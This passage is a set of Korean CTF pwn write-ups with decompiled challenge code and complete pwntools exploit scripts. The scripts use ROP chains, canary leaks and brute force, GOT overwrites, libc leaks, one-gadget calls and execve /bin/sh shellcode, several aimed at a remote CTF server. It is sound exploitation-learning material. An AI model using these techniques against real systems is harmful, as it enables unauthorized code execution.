payload2 += p64(prax) + p64(59)
payload2 += p64(prdi) + p64(e.bss())
payload2 += p64(prsi) + p64(0)
payload2 += p64(prdx) + p64(0)
payload2 += p64(syscall)

p.sendlineafter('Any last words?',payload2)

p.interactive()

2017 RCTF Recho

64비트 바이너리가 주어진다.

Recho: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=6696795a3d110750d6229d85238cad1a67892298, not stripped

메인에서는 원하는만큼 크기를 정하고 그 크기만큼 입력받을 수 있다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char nptr; // [rsp+0h] [rbp-40h]
  char buf[40]; // [rsp+10h] [rbp-30h]
  int v6; // [rsp+38h] [rbp-8h]
  int v7; // [rsp+3Ch] [rbp-4h]

  Init();
  write(1, "Welcome to Recho server!\n", 0x19uLL);
  while ( read(0, &nptr, 0x10uLL) > 0 )
  {
    v7 = atoi(&nptr);
    if ( v7 <= 15 )
      v7 = 16;
    v6 = read(0, buf, v7);
    buf[v6] = 0;
    printf("%s", buf);
  }
  return 0;
}

flag라는 파일을 읽어오는 문제다. 근데 .data 영역에 flag라는 문자열이 존재했다.

flag라는 파일을 읽기 위한 함수가 딱히 존재하지 않았다. 그냥 syscall을 이용해서 orw해주면 되는 문제다.

근데 int 0x80이 바이너리 내에 존재하지 않는다. 나 같은 경우에는 alarm함수의 syscall을 이용했다.

alarm+5 위치에 syscall이 존재했다. add byte ptr [rdi], al ; ret 가젯을 이용해서 rdi에 alarm@got를 넣어주고 al 값에 5를 넣어주고 alarm을 호출하면 syscall이 호출될 것이다. 이를 이용해서 orw를 해주면 된다.

exploit.py

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
e = ELF('./Recho')
p = process('./Recho')
prdi = 0x00000000004008a3 # pop rdi ; ret
prax = 0x00000000004006fc # pop rax ; ret
add_rdi_al = 0x000000000040070d # add byte ptr [rdi], al ; ret
prsi_r15 = 0x00000000004008a1 # pop rsi ; pop r15 ; ret
prdx = 0x00000000004006fe # pop rdx ; ret
flag = 0x0000000000601058
syscall = e.plt['alarm']

# alarm+5 syscall
payload = 'A'*48
payload += 'realsung'
payload += p64(prdi) + p64(e.got['alarm'])
payload += p64(prax) + p64(0x5) + p64(add_rdi_al)

# sys_open(flag,0,0)
payload += p64(prdi) + p64(flag)
payload += p64(prsi_r15) + p64(0) + p64(0)
payload += p64(prdx) + p64(0)
payload += p64(prax) + p64(0x2) + p64(syscall)

# sys_read(3,bss,100)
payload += p64(prdi) + p64(3)
payload += p64(prsi_r15) + p64(e.bss()) + p64(0)
payload += p64(prdx) + p64(100)
payload += p64(prax) + p64(0) + p64(syscall)

# sys_write(1,bss,100)
payload += p64(prdi) + p64(1)
payload += p64(prsi_r15) + p64(e.bss()) + p64(0)
payload += p64(prdx) + p64(100)
payload += p64(prax) + p64(1) + p64(syscall)

p.sendlineafter('server!\n',str(1000))
p.send(payload)

p.shutdown()
p.interactive()

2017 CSAW CTF SCV

64bit c++ 바이너리다.

scv: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=8585d22b995d2e1ab76bd520f7826370df71e0b6, stripped

메뉴 보면 별거 없다. 그냥 1번 메뉴는 입력 크기를 buf를 0xf8만큼 받아서 bof가 터진다. 2번 메뉴는 그냥 buf를 출력해준다. 3번은 그냥 exit이다. 근데 canary 걸려있어서 그냥 canary 구해주고 값 맞춰서 넣어주면서 libc 구하고 oneshot을 때리던 offset 구해서 system(‘/bin/sh\x00’) 해주면 된다.

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 v3; // rax
  __int64 v4; // rax
  __int64 v5; // rax
  __int64 v6; // rax
  __int64 v7; // rax
  __int64 v8; // rax
  __int64 v9; // rax
  __int64 v10; // rax
  __int64 v11; // rax
  __int64 v12; // rax
  __int64 v13; // rax
  __int64 v14; // rax
  __int64 v15; // rax
  __int64 v16; // rax
  __int64 v17; // rax
  __int64 v18; // rax
  __int64 v19; // rax
  __int64 v20; // rax
  __int64 v21; // rax
  int chk; // [rsp+4h] [rbp-BCh]
  int v24; // [rsp+8h] [rbp-B8h]
  int v25; // [rsp+Ch] [rbp-B4h]
  char buf; // [rsp+10h] [rbp-B0h]
  unsigned __int64 v27; // [rsp+B8h] [rbp-8h]

  v27 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  chk = 0;
  v24 = 1;
  v25 = 0;
  while ( v24 )
  {
    v3 = std::operator<<<std::char_traits<char>>(&std::cout, "-------------------------");
    std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
    v4 = std::operator<<<std::char_traits<char>>(&std::cout, "[*]SCV GOOD TO GO,SIR....");
    std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
    v5 = std::operator<<<std::char_traits<char>>(&std::cout, "-------------------------");
    std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
    v6 = std::operator<<<std::char_traits<char>>(&std::cout, "1.FEED SCV....");
    std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
    v7 = std::operator<<<std::char_traits<char>>(&std::cout, "2.REVIEW THE FOOD....");
    std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
    v8 = std::operator<<<std::char_traits<char>>(&std::cout, "3.MINE MINERALS....");
    std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
    v9 = std::operator<<<std::char_traits<char>>(&std::cout, "-------------------------");
    std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>);
    std::operator<<<std::char_traits<char>>(&std::cout, ">>");
    std::istream::operator>>(&std::cin, &chk);
    switch ( chk )
    {
      case 2:
        v15 = std::operator<<<std::char_traits<char>>(&std::cout, "-------------------------");
        std::ostream::operator<<(v15, &std::endl<char,std::char_traits<char>>);
        v16 = std::operator<<<std::char_traits<char>>(&std::cout, "[*]REVIEW THE FOOD...........");
        std::ostream::operator<<(v16, &std::endl<char,std::char_traits<char>>);
        v17 = std::operator<<<std::char_traits<char>>(&std::cout, "-------------------------");
        std::ostream::operator<<(v17, &std::endl<char,std::char_traits<char>>);
        v18 = std::operator<<<std::char_traits<char>>(&std::cout, "[*]PLEASE TREAT HIM WELL.....");
        std::ostream::operator<<(v18, &std::endl<char,std::char_traits<char>>);
        v19 = std::operator<<<std::char_traits<char>>(&std::cout, "-------------------------");
        std::ostream::operator<<(v19, &std::endl<char,std::char_traits<char>>);
        puts(&buf);
        break;
      case 3:
        v24 = 0;
        v20 = std::operator<<<std::char_traits<char>>(&std::cout, "[*]BYE ~ TIME TO MINE MIENRALS...");
        std::ostream::operator<<(v20, &std::endl<char,std::char_traits<char>>);
        break;
      case 1:
        v10 = std::operator<<<std::char_traits<char>>(&std::cout, "-------------------------");
        std::ostream::operator<<(v10, &std::endl<char,std::char_traits<char>>);
        v11 = std::operator<<<std::char_traits<char>>(&std::cout, "[*]SCV IS ALWAYS HUNGRY.....");
        std::ostream::operator<<(v11, &std::endl<char,std::char_traits<char>>);
        v12 = std::operator<<<std::char_traits<char>>(&std::cout, "-------------------------");
        std::ostream::operator<<(v12, &std::endl<char,std::char_traits<char>>);
        v13 = std::operator<<<std::char_traits<char>>(&std::cout, "[*]GIVE HIM SOME FOOD.......");
        std::ostream::operator<<(v13, &std::endl<char,std::char_traits<char>>);
        v14 = std::operator<<<std::char_traits<char>>(&std::cout, "-------------------------");
        std::ostream::operator<<(v14, &std::endl<char,std::char_traits<char>>);
        std::operator<<<std::char_traits<char>>(&std::cout, ">>");
        v25 = read(0, &buf, 248uLL); // vuln
        break;
      default:
        v21 = std::operator<<<std::char_traits<char>>(&std::cout, "[*]DO NOT HURT MY SCV....");
        std::ostream::operator<<(v21, &std::endl<char,std::char_traits<char>>);
        break;
    }
  }
  return 0LL;
}

exploit.py

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
e = ELF('./scv')
p = process('./scv')
#libc = ELF('./libc-2.23.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
sla = lambda x,y : p.sendlineafter(x,y)
sa = lambda x,y : p.sendafter(x,y)
prdi = 0x0000000000400ea3 # pop rdi ; ret
main = 0x400a96

sla('>>',str(1))
sa('>>','A'*169)
sla('>>',str(2))
p.recvuntil('A'*169)
canary = u64('\x00' + p.recv(7))
log.info('canary : ' + hex(canary))

sla('>>',str(1))
payload = 'A'*168
payload += p64(canary)
payload += 'B'*8
payload += p64(prdi)
payload += p64(e.got['puts'])
payload += p64(e.plt['puts'])
payload += p64(main)
sa('>>',payload)
sla('>>',str(3))
libc_base = u64(p.recvuntil('\x7f')[-6:] + '\x00'+'\x00') - libc.symbols['puts']
log.info('libc_base : ' + hex(libc_base))
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search('/bin/sh\x00'))

sla('>>',str(1))
payload2 = 'A'*168
payload2 += p64(canary)
payload2 += 'B'*8
payload2 += p64(prdi)
payload2 += p64(binsh)
payload2 += p64(system)
# payload2 += p64(libc_base + 0x45216)
sa('>>',payload2)
sla('>>',str(3))

p.interactive()

2016 Defcon CTF Feedme

feedme: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, stripped

바이너리 stripped 되어있고 statically linked라 좀 분석하기 어려워졌다.

0x0804917A 여기가 메인 함수고 메인함수에서는 그냥 signal함수를 이용해 SIGALARM을 150초 설정해놨다.

그 이후 sub_80490B0 함수를 호출하는데 이 함수에서는 fork를 이용해 자식 프로세스를 생성한다. 0x31F번을 반복하는데 이 곳에서 우리가 입력받는 함수도 호출해준다.

int sub_8049036()
{
  unsigned __int8 v0; // ST1B_1
  char *v1; // eax
  int result; // eax
  char v3; // [esp+1Ch] [ebp-2Ch]
  unsigned int v4; // [esp+3Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  sub_804FC60("FEED ME!"); // puts
  v0 = sub_8048E42(); // size
  sub_8048E7E(&v3, v0); // input
  v1 = sub_8048F6E(&v3, v0, 0x10u); // convert 10 -> 16
  sub_804F700("ATE %s\n", v1); // printf
  result = v0;
  if ( __readgsdword(0x14u) != v4 )
    sub_806F5B0();
  return result;
}

여기가 우리가 입력받는 함수다. canary가 걸려있다.

sub_8048E42() 함수는 입력한 문자열의 아스키 값을 v0에 저장한다.

sub_8048E7E 함수에서는 v0의 크기만큼을 입력을 받는데 v3 버퍼에 저장해준다.

sub_8048F6E 요기서 16진수 hex값으로 변환해준다.

sub_806F5B0() 여기는 그냥 카나리 값 비교해주고 stack smashing detect 띄워주는 곳이다.

여기서 취약점 터진다. 카나리를 제외하고 buf 크기는 0x20만큼이다. 근데 여기서 buf 다음에 카나리가 있어서 canary 값을 1 byte bruteforce해줘서 canary leak해 줄 수 있다. 그리고 fork를 사용하기 때문에 카나리가 고정 값이다. stack smashing detected 가 안 뜰때 까지 bruteforing 해주면 된다.

익스는 그냥 statically linked 바이너리라 웬만한 가젯들이 다 있어서 syscall을 위한 가젯들이 다 있을거다.

int0x80 ret; pop eax ret; pop ebx pop ecx pop ebx ret; 이 가젯들 이용해서 syscall 다 맞춰줘서 read 이용해 bss영역에 /bin/sh\x00 을 넣고 execve 함수 이용해서 익스했다.

exploit.py

from pwn import *

# context.log_level = 'debug'

e = ELF('./feedme')
p = process('./feedme')

peax = 0x080bb496 # pop eax ; ret
pop3ret = 0x0806f370 # pop edx ; pop ecx ; pop ebx ; ret
int0x80 = 0x0806fa20 # int 0x80 ; ret  ;  (1 found)

canary = ''
p.recvuntil('FEED ME!\n')
for j in range(0,4):
	for i in range(0,256):
		go = 'A'*0x20+canary+chr(i)
		p.send(chr(len(go)))
		p.send(go)
		if not 'stack smashing detected' in p.recvuntil("FEED ME!\n"):
			canary += chr(i)
			print canary
			break
log.info('canary : ' + canary)

payload = 'A'*0x20
payload += canary
payload += 'B'*12
payload += p32(peax) + p32(0x3)
payload += p32(pop3ret) + p32(10) + p32(e.bss()) + p32(0) + p32(int0x80)
payload += p32(peax) + p32(0xb)
payload += p32(pop3ret) + p32(0) + p32(0) + p32(e.bss()) + p32(int0x80)

p.send(chr(len(payload)))
p.send(payload)
sleep(0.1)
p.send('/bin/sh\x00')

p.interactive()

2017 CSAW CTF pilot

c++ 바이너리인데 NX가 disable되어 있다. 그냥 간단한 RTS 문제다.

signed __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 v3; // rax
  __int64 v4; // rax
  __int64 v5; // rax
  __int64 v6; // rax
  __int64 v7; // rax
  __int64 v8; // rax
  __int64 v9; // rax
  __int64 v10; // rax
  __int64 v11; // rax
  __int64 v12; // rax
  char buf; // [rsp+0h] [rbp-20h]

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  v3 = std::operator<<<std::char_traits<char>>(&std::cout, "[*]Welcome DropShip Pilot...");
  std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
  v4 = std::operator<<<std::char_traits<char>>(&std::cout, "[*]I am your assitant A.I....");
  std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
  v5 = std::operator<<<std::char_traits<char>>(&std::cout, "[*]I will be guiding you through the tutorial....");
  std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
  v6 = std::operator<<<std::char_traits<char>>(
         &std::cout,
         "[*]As a first step, lets learn how to land at the designated location....");
  std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
  v7 = std::operator<<<std::char_traits<char>>(
         &std::cout,
         "[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...");
  std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
  v8 = std::operator<<<std::char_traits<char>>(&std::cout, "[*]Good Luck Pilot!....");
  std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
  v9 = std::operator<<<std::char_traits<char>>(&std::cout, "[*]Location:");
  v10 = std::ostream::operator<<(v9, &buf);
  std::ostream::operator<<(v10, &std::endl<char,std::char_traits<char>>);
  std::operator<<<std::char_traits<char>>(&std::cout, "[*]Command:");
  if ( read(0, &buf, 64uLL) > 4 )
    return 0LL;
  v11 = std::operator<<<std::char_traits<char>>(&std::cout, "[*]There are no commands....");
  std::ostream::operator<<(v11, &std::endl<char,std::char_traits<char>>);
  v12 = std::operator<<<std::char_traits<char>>(&std::cout, "[*]Mission Failed....");
  std::ostream::operator<<(v12, &std::endl<char,std::char_traits<char>>);
  return 0xFFFFFFFFLL;
}

자세히 보자면 그냥 buf 위치를 준다. 그리고 뒤에서 buf에 read를 buf 크기 넘치게 입력받는데 여기에 shellcode를 넣고 버퍼 값을 넘치게 넣어서 ret을 buf로 바꾸면 쉘 코드가 실행되면서 쉘을 딸 수 있다.

v9 = std::operator<<<std::char_traits<char>>(&std::cout, "[*]Location:");
v10 = std::ostream::operator<<(v9, &buf);

exploit.py

from pwn import *

context.arch = 'amd64'
e = ELF('./pilot')
p = process('./pilot')
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
# shellcode = "\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"

p.recvuntil('[*]Location:')
buf = int(p.recvline(),16)
log.info('buf : ' + hex(buf))
payload = shellcode + '\x90' * ((0x20+0x8)-len(shellcode))
payload += p64(buf)

p.sendlineafter('[*]Command:',payload)

p.interactive()

[HackCTF]SysROP

그냥 웬만한 gadget 다 있길래 그냥 릭해서 풀라고 했는데 출력함수가 없었다.. 근데 가젯중에 0x00000000004005ea : pop rax ; pop rdx ; pop rdi ; pop rsi ; ret 이런게 존재해서 rax에 syscall 번호를 넣어주고 가젯들 세팅해주면 syscall을 이용할 수 있을거다. read 함수에서 syscall이 있어서 이를 이용하면 될거다.

read@got의 하위 1바이트를 0x5e로 overwrite하면 read함수 호출할 때마다 syscall이 호출될거다.

syscall을 이용해 execve 를 호출해 execve('/bin/sh\x00',0,0) 이런식으로 넣어주면 쉘이 실행될거다.

data영역에 /bin/sh\x00 을 넣고 read@got 의 하위 1바이트는 overwrite 해서 syscall 호출해 인자를 execve('/bin/sh\x00',0,0) 이렇게 만들어주면 된다. execve의 syscall num은 59다.

exploit.py

from pwn import *

e = ELF('./sysrop')
# p = process('./sysrop')
p = remote('ctf.j0n9hyun.xyz',3024)
libc = ELF('./libc.so.6')

data = 0x601030
syscall_gadget = 0x00000000004005ea # pop rax ; pop rdx ; pop rdi ; pop rsi ; ret
pop3ret = 0x00000000004005eb # pop rdx ; pop rdi ; pop rsi ; ret
main = 0x00000000004005F2

payload = 'A'*0x18
payload += p64(pop3ret)
payload += p64(10) # rdx
payload += p64(0) # rdi
payload += p64(data) # rsi
payload += p64(e.plt['read'])
payload += p64(main)

p.sendline(payload)
sleep(0.1)
p.sendline('/bin/sh\x00')
sleep(0.1)

payload2 = 'A'*0x18
payload2 += p64(pop3ret)
payload2 += p64(1)# rdx
payload2 += p64(0) # rdi
payload2 += p64(e.got['read']) # rsi
payload2 += p64(e.plt['read'])

payload2 += p64(syscall_gadget)
payload2 += p64(59) # rax
payload2 += p64(0) # rdx
payload2 += p64(data) # rdi
payload2 += p64(0) # rsi
payload2 += p64(e.plt['read'])

p.sendline(payload2)
sleep(0.1)
p.sendline('\x5e')
sleep(0.1)

p.interactive()

[HackCTF]Yes or no

문제 의도는 그냥 ++전에 오는지 후에 오는지로 값 어떻게 나오는지 알아서 값을 맞춰주도록 해서 취약점으로 유도하는게 의도였던거 같다. 문제 서버는 ubuntu 18.04다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  int v4; // eax
  int v5; // ecx
  int v6; // eax
  int v7; // eax
  char s; // [rsp+Eh] [rbp-12h]
  int input; // [rsp+18h] [rbp-8h]
  int v11; // [rsp+1Ch] [rbp-4h]

  setvbuf(stdout, 0LL, 2, 0LL);
  v11 = 5;
  puts("Show me your number~!");
  fgets(&s, 10, stdin);
  input = atoi(&s);
  if ( (v11 - 10) >> 3 < 0 )
  {
    v4 = 0;
  }
  else
  {
    v3 = v11++;
    v4 = input - v3;
  }
  if ( v4 == input )
  {
    puts("Sorry. You can't come with us");
  }
  else
  {
    v5 = 1204 / ++v11;
    v6 = v11++;
    if ( input == v6 * v5 << (++v11 % 20 + 5) )
    {
      puts("That's cool. Follow me");
      gets(&s);
    }
    else
    {
      v7 = v11--;
      if ( input == v7 )
      {
        printf("Why are you here?");
        return 0;
      }
      puts("All I can say to you is \"do_system+1094\".\ngood luck");
    }
  }
  return 0;
}

입력한 숫자 정수형을 바꿔서 취약점 터지는 부분에 가게 하면 된다.

if ( input == v6 * v5 << (++v11 % 20 + 5) )
{
	puts("That's cool. Follow me");
	gets(&s);
}

취약점은 여기에서 터진다. 그래서 input값을 구해주면 된다.

그냥 c로 짜서 나온 결과 가져왔다. 결과는 9830400 이면 통과해서 gets(&s) 로 갈 수 있게된다.

그래서 9830400 들어가서 gets로 ret 바꿔서 puts leak하고 main으로 돌려서 oneshot 날려주면 된다. 그냥 문제에 라이브러리도 줘서 쉽게 풀었다.

exploit.py

from pwn import *

context.arch = 'amd64'
# context.log_level = 'debug'
e = ELF('./yes_or_no')
# p = process('./yes_or_no')
p = remote('ctf.j0n9hyun.xyz',3009)
libc = ELF('./libc-2.27.so')
prdi = 0x0000000000400883 # pop rdi ; ret

p.sendlineafter('!\n',str(9830400))

payload = '\x90' * 0x12
payload += 'realsung'
payload += p64(prdi) + p64(e.got['puts']) + p64(e.plt['puts'])
payload += p64(e.symbols['main'])

p.sendlineafter('me\n',payload)

libc_base = u64(p.recvuntil('\x7f').ljust(8,'\x00')) - libc.symbols['puts']
log.info('libc_base : ' + hex(libc_base))

p.sendlineafter('!\n',str(9830400))

payload2 = '\x90' * 0x12
payload2 += 'realsung'
payload2 += p64(libc_base + 0x45216)
p.sendlineafter('me\n',payload2)

p.interactive()

[HackCTF]Unexploitable #3

이번에는 RTC 응용해서 fwrite로 익스할 수 있는 문제다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+0h] [rbp-10h]

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  fwrite("Impossible RTL ha? Nothing for you!\n", 1uLL, 0x24uLL, stdout);
  fgets(&s, 256, stdin);
  return 0;
}

메인에서는 리턴 주소 바꿀 수 있다. gift 함수를 잘 보면 이번에는 system gadget을 안줬다.

여기서 leak을 할 때 쓸만한 함수는 fwrite 하나밖에 없다. 이를 이용해서 leak을 해주면 된다.

근데 RTC는 인자를 rdi, rsi, rdx 이 3개밖에 못 넣어준다.

gift함수를 자세히보면 mov rcx, [rdi] ret 가젯이 존재했다. 이를 통해서 4번째 인자에 값을 넣어줄 수 있었다.

stdout도 존재하니까 이걸 mov rcx, [rdi] ret 를 이용해서 4번째 인자에 넣어주면 된다.

__libc_csu_init 영역을 이용해서 fwrite(fwrite_got,1,6,stdout) 이런식으로 가젯을 맞춰주면 fwrite을 통해 libc base를 구할 수 있고 메인으로 간다음에 라이브러리 맞춰주고 oneshot gadget구해서 리턴해주면 쉘을 흭득할 수 있다.

exploit.py

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
e = ELF('./Unexploitable_3')
#p = process('./Unexploitable_3')
p = remote('ctf.j0n9hyun.xyz',3034)
libc = e.libc
csu_call = 0x0000000000400720
csu_pop = 0x000000000040073A
mov_ret = 0x0000000000400658 # 00658 mov     rcx, [rdi]
stdout = 0x0000000000601050
prdi = 0x0000000000400743 # pop rdi ; ret

# rdi rsi rdx rcx
def chain(r12,edi,rsi,rdx,ret):
	c = ''
	c += p64(csu_pop)
	c += p64(0)
	c += p64(1)
	c += p64(r12) # call
	c += p64(rdx) # 3
	c += p64(rsi) # 2
	c += p64(edi) # 1
	c += p64(ret)
	return c

payload = '\x90'*0x10
payload += 'realsung'
payload += p64(prdi)
payload += p64(stdout)
payload += p64(mov_ret)
payload += chain(e.got['fwrite'],e.got['fwrite'],1,6,csu_call)
payload += chain(0,0,0,0,e.symbols['main'])
p.sendlineafter('!\n',payload)

libc_base = u64(p.recv(6).ljust(8,'\x00')) - libc.symbols['fwrite']
log.info('libc_base : ' + hex(libc_base))

payload2 = '\x90'*0x10
payload2 += 'realsung'
payload2 += p64(libc_base + 0x45216)
p.sendlineafter('!\n',payload2)

p.interactive()

[HackCTF]Unexploitable #2

Trick문제다. system함수 인자로 함수 got 값을 넣게되면 leak이 되면서 오류를 내뿜거 이용하면 된다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+0h] [rbp-10h]

  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  fwrite("Hard RTL ha? You don't even have fflush@dynstr!\n", 1uLL, 0x30uLL, _bss_start);
  fgets(&s, 64, stdin);
  return 0;
}

나 같은경우는 system인자에 system got 넣고 oneshot구해서 main에서 넘겨줬다.

exploit.py

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
e = ELF('./Unexploitable_2')
#p = process('./Unexploitable_2')
p = remote('ctf.j0n9hyun.xyz',3029)
libc = e.libc
prdi = 0x0000000000400773 # pop rdi ; ret

payload = '\x90'*0x10
payload += 'realsung'
payload += p64(prdi)
payload += p64(e.got['system'])
payload += p64(e.plt['system'])
payload += p64(e.symbols['main'])

p.sendlineafter('!\n',payload)

p.recvuntil('sh: 1: ')
libc_base = u64(p.recv(6).ljust(8,'\x00')) - libc.symbols['system']
log.info('libc_base : ' + hex(libc_base))

payload2 = '\x90'*0x10 + 'realsung' + p64(libc_base + 0xf02a4)
p.sendlineafter('!\n',payload2)
p.interactive()

[HackCTF]Unexploitable #1

그냥 일종의 trick문제다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+0h] [rbp-10h]

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  fwrite("Easy RTL ha? You even have system@plt!\n", 1uLL, 0x27uLL, stdout);
  fflush(stdin);
  fgets(&s, 64, stdin);
  return 0;
}

system 가젯을 쓸 수 있다. 근데 fflush가 존재한다. 이거 그냥 Layer7 CTF talmo_party~! 문제에서 나왔던거랑 똑같다. objdump -h 로 .dynstr 위치 가져와서 fflush에서 sh만 가져와서 system함수 인자로 넘겨주면 된다.

exploit.py

from pwn import *

context.arch = 'amd64'
e = ELF('./Unexploitable_1')
#p = process('./Unexploitable_1')
p = remote('ctf.j0n9hyun.xyz',3023)

sh = 0x4003bf
prdi = 0x00000000004007d3 # pop rdi ; ret

payload = ''
payload += '\x90' * 0x10
payload += 'realsung'
payload += p64(prdi)
payload += p64(sh)
payload += p64(e.plt['system'])
p.sendlineafter('!\n',payload)

p.interactive()

[HackCTF]pwning

그냥 underflow 이용해서 입력할 수 있는 공간을 늘려줄 수 있다면 쉽게 풀 수 있다.

int $0x80 있어서 syscall exploit인줄 알고 삽질했다.. pop 가젯이 부족해서 불가능이였다.

int vuln()
{
  char nptr; // [esp+1Ch] [ebp-2Ch]
  int v2; // [esp+3Ch] [ebp-Ch]

  printf("How many bytes do you want me to read? ");
  get_n(&nptr, 4u);
  v2 = atoi(&nptr);
  if ( v2 > 32 )
    return printf("No! That size (%d) is too large!\n", v2);
  printf("Ok, sounds good. Give me %u bytes of data!\n", v2);
  get_n(&nptr, v2);
  return printf("You said: %s\n", &nptr);
}

get_n 함수는 그냥 \n 받기전까지 입력된다. 그리고 v2가 int형이라 underoverflow를 이용해서 값을 늘려줄 수 있다.

나는 printf를 릭해주고 libc 구한 후에 main으로 돌려서 맞는 libc의 원샷 가젯 찾아서 메인에서 리턴해줬다.

원샷은 libc 다운로드 받아서 one_gadget 돌렸다. libc는 버전 맞춰서 printf offset 구한다음에 libc base 구해줬다.

from pwn import *

#context.log_level = 'debug'
e = ELF('./pwning')
p = remote('ctf.j0n9hyun.xyz',3019)
#p = process('./pwning')
r = ROP(e)

p.sendlineafter('? ',str(-1))

payload = '\x90'*0x2c
payload += 'sung'
r.printf(e.got['printf'])
r.raw(e.symbols['main'])
payload += r.chain()
p.sendlineafter('!\n',payload)

p.recvuntil('\n')
printf = u32(p.recv(4))
log.info('printf : '+ hex(printf))
libc_base = printf - 0x049020
log.info('libc_base : ' + hex(libc_base))

p.sendlineafter('? ',str(-1))

payload2 = '\x90'*0x2c
payload2 += 'sung'
payload2 += p32(libc_base + 0x3a80c)

p.sendlineafter('!\n',payload2)
p.interactive()

2018 Codegate Super Marimo

64bit heap overflow 문제다. 변수랑 함수 이름은 내가 수정해놨다.

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

이 프로그램에서 hidden function이 존재했다.

signed __int64 __fastcall vuln(const char *a1)
{
  void *v1; // ST18_8

  if ( strcmp(a1, "show me the marimo") )
    return 0LL;
  v1 = malloc(24uLL);
  sub_400EED(v1, 1u, 5u);
  Marimo[Marimo_cnt++] = v1;
  return 1LL;
}

여기서 보면 show me the marimo라는 글자랑 같으면 Marimo를 생성해줄 수 있다.

또 다른 곳에서 만들 수 있긴한데 돈이 필요하다고 떠서 그냥 호출하는 함수는 똑같다.

_BYTE *__fastcall sub_400EED(struct marimo *a1, unsigned int a2, unsigned int a3)
{
  unsigned __int64 v3; // ST00_8
  int v4; // ST04_4

  v3 = __PAIR__(a2, a3);
  *&a1->birth = time(0LL);
  *&a1[1].name = a2;
  *&a1[2].profile = malloc(16uLL);
  puts("What's your new marimo's name? (0x10)");
  printf(">> ", v3);
  fflush(stdout);
  __isoc99_scanf("%16s", *&a1[2].profile);
  *&a1[5].name = malloc(32 * v4);
  printf("write %s's profile. (0x%X)\n", *&a1[2].profile, (32 * v4));
  fflush(stdout);
  printf(">> ");
  fflush(stdout);
  return sub_400FF9(*&a1[5].name, 32 * v4);
}

이런식으로 구조체 변수에 넣어서 Marimo를 만들어준다.

보기 쉽게 구조체는 이런식으로 만들어줬다.

취약점은 여기서 터진다.

unsigned __int64 __fastcall Modify(struct marimo *a1)
{
  unsigned int v1; // ST18_4
  unsigned int v3; // [rsp+1Ch] [rbp-24h]
  char v4; // [rsp+20h] [rbp-20h]
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  puts(&byte_4014F4);
  printf("birth : %d\n", *&a1->birth);
  v1 = time(0LL);
  printf("current time : %d\n", v1);
  v3 = v1 + *&a1[1].name - *&a1->birth;
  printf("size : %d\n", v3);
  printf("price : %d\n", 5 * v3);
  printf("name : %s\n", *&a1[2].profile);
  printf("profile : %s\n", *&a1[5].name);
  puts(&byte_4014F4);
  puts("[M]odify / [B]ack ?");
  printf(">> ");
  fflush(stdout);
  __isoc99_scanf("%19s", &v4);
  if ( v4 == 'M' )
  {
    puts("Give me new profile");

    printf(">> ", &v4);
    fflush(stdout);
    sub_400FF9(*&a1[5].name, 32 * v3);          // vuln
    Modify(a1);
  }
  return __readfsqword(0x28u) ^ v5;
}

32 * 흐른 시간만큼의 크기로 수정해줄 수 있다. 그래서 여기서 흐른시간을 늘려서 Overflow 일으켜서 함수 포인터를 바꿀 수 있다.

payload : buf[56] + puts_got(profile) + puts_got(name)

Marimo를 두개 만들어서 첫 번째 Marimo를 오버플로우나게 해서 puts_got를 Marimo의 name값을 가르키는 포인터에 넣고 view해주면 leak해줄 수 있어서 립씨 베이스를 구할 수 있다.

